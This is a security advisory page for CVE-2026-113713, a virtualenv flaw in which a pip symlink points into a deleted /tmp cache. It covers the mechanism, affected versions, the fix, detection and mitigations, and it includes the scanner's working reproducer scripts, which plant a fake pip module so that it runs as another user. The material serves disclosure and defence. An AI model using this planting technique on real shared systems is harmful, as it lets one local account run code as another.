CVE-2026-113713: virtualenv: Temporary app-data can leave dangling seed package links
virtualenv 21.14.8 and 21.14.9 can create an environment whose pip link points into a temporary cache that is deleted when creation ends. On a shared /tmp another account can claim that path and plant code that runs when the owner next uses pip. It needs symlink seeding turned on through an environment variable or config file. Fixed in virtualenv 21.14.10.
Published Oct 23, 2026 · Analysis Nov 2, 2026
What an attacker can do
When the user's app-data directory is missing or unwritable, virtualenv falls back to a temporary cache. The command-line --symlink-app-data flag is disabled in that case. The environment variable VIRTUALENV_SYMLINK_APP_DATA and the symlink_app_data setting in the configuration file still become the parser default, and the seeder does not recheck the cache lifetime. It links site-packages/pip into the temporary cache. At session exit the cache is deleted, which leaves a dangling link.
The link target, such as /tmp/tmpXXXXXXXX, is readable by anyone, since the environment is world-readable. Another local account can recreate that directory on a shared temporary filesystem and place a fake pip/__init__.py there. When the owner runs venv/bin/pip --version, the planted module runs as the owner. The scanner's test wrote a marker file into the owner's environment and printed this is not pip.
The maintainers say the cross-account claim has not been independently reproduced, and rate the issue low. A private temporary-directory parent removes the route. Windows defaults do not show cross-account exposure.
Who is affected
virtualenv from 21.14.8 up to but not including 21.14.10, in the advisory's range. The reproduced release is 21.14.8, and 21.14.9 has the same code. The reporter traces the incomplete guard back to 20.0.6, but the runtime behaviour in earlier releases is unverified. Check:
virtualenv --versionYou are exposed only if VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data is set, app-data falls back to a temporary directory, and other accounts share the temporary parent.
virtualenv
- Ecosystem
- PyPI
- Affected
- >= 21.14.8, < 21.14.10
- Fixed in
- 21.14.10
- Check
pip show virtualenv
How to fix it
Upgrade to virtualenv 21.14.10:
pip install --upgrade virtualenv==21.14.10Pull request 3437 makes the seeder copy packages whenever app-data is temporary, whatever set the symlink option. Persistent caches keep symlink seeding. The advisory text, written before the release, also suggests two measures: disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate environments built with the risky settings.
How to tell if you were hit
Look for environments whose site-packages/pip is a symlink that points to a /tmp/tmp* path that no longer exists:
find . -path '*site-packages/pip' -type lCheck your shell profile, CI settings and virtualenv.ini for VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data. A pip file in a former temporary directory owned by another account is a sign of planting.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlink_app_data can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls.
Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced.
Affected area
Integrity of app-data references after temporary cache cleanup.
Attacker-controlled input
Symlink seeding must be enabled through VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references.
The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults.
Affected code
The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup.
Mechanism
When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A value supplied by VIRTUALENV_SYMLINK_APP_DATA or virtualenv.ini can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem.
Reproduction and evidence
The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a real pip directory. With VIRTUALENV_SYMLINK_APP_DATA=1, the new environment instead contained a pip link into a deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/__init__.py there. When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed this is not pip.
The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction.
Attack sequence
sequenceDiagram
participant U as Environment owner
participant V as virtualenv seeder
participant T as Temporary app-data in /tmp
participant E as site-packages/pip link
participant A as Other local account
U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
V->>T: create transient cache
V->>E: link pip to cache path
V->>T: delete cache at session exit
A->>T: reclaim old name and plant fake pip
U->>E: run bin/pip --version
E->>T: import fake pip through stale link
T-->>U: attacker's code runs as ownerReproducer files
The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
`repro`
#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path
owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")
# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)
as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]
# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner)
control_pip = next(project.glob("control/lib/python*/site-packages/pip"))
print(f"CONTROL --symlink-app-data: {control_pip} is a symlink: {control_pip.is_symlink()}")
# trigger: the same setting through the environment variable
symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"}
subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner)
venv_pip = next(project.glob("venv/lib/python*/site-packages/pip"))
print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}")
# attack: the other user re-creates the deleted folder the link points into
if venv_pip.is_symlink():
print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}")
subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user)
# the owner uses their environment
pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner)
print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}")
# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write
venv_stat = os.stat(project / "venv")
print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}")
proof = project / "venv/attacker-code-ran"
print(f"OBSERVED {proof} exists: {proof.exists()}")
if proof.exists():
print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}")
print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK")`repro.d/fake_pip.py`
# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys
with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}")
sys.exit("this is not pip")`repro.d/plant_fake_pip.py`
import os
import shutil
import sys
from pathlib import Path
dangling_link = sys.argv[1] # the environment is world-readable, so anyone can read where its links go
deleted_folder = Path(os.readlink(dangling_link))
# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take
deleted_folder.mkdir(parents=True)
shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py")Impact
Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition.
Severity: low.
Versions tested
The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.
The reporter identifies 20.0.6 as the first affected release. Commit c3453b6c, first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.
The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup.
Proposed fix: PR #3437.
Known mitigation
The proposed fix is in public PR #3437.
The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding.
Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.
Questions
- Does the --symlink-app-data flag trigger this?
No. The flag is disabled when app-data is temporary, and the control run got a real pip directory. The environment variable and config file forms bypass that check.
- Is the cross-account attack confirmed?
The scanner reproduced it with two unprivileged users. The maintainers say they have not independently reproduced it and rate the severity low.
- Which version fixes CVE-2026-113713?
virtualenv 21.14.10. Versions 21.14.8 and 21.14.9 are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-113714
virtualenv: Downloaded wheel selection and caching precede verification
low2.3Oct 23, 2026CVE-2026-113715
virtualenv: Venv configuration readback can reinterpret path boundaries
low2.0Oct 23, 2026CVE-2026-113717
virtualenv: Pip seeding with download omits wheel digest verification
low2.3Oct 23, 2026CVE-2026-113718
virtualenv: Xonsh activation literals depend on the script decoding codec
high7.1Oct 23, 2026CVE-2026-113719
virtualenv: Seed replacement does not contain metadata deletion paths
medium4.5Oct 23, 2026CVE-2026-113720
virtualenv: Seeded files retain permissions from an older cache
medium4.4Oct 23, 2026
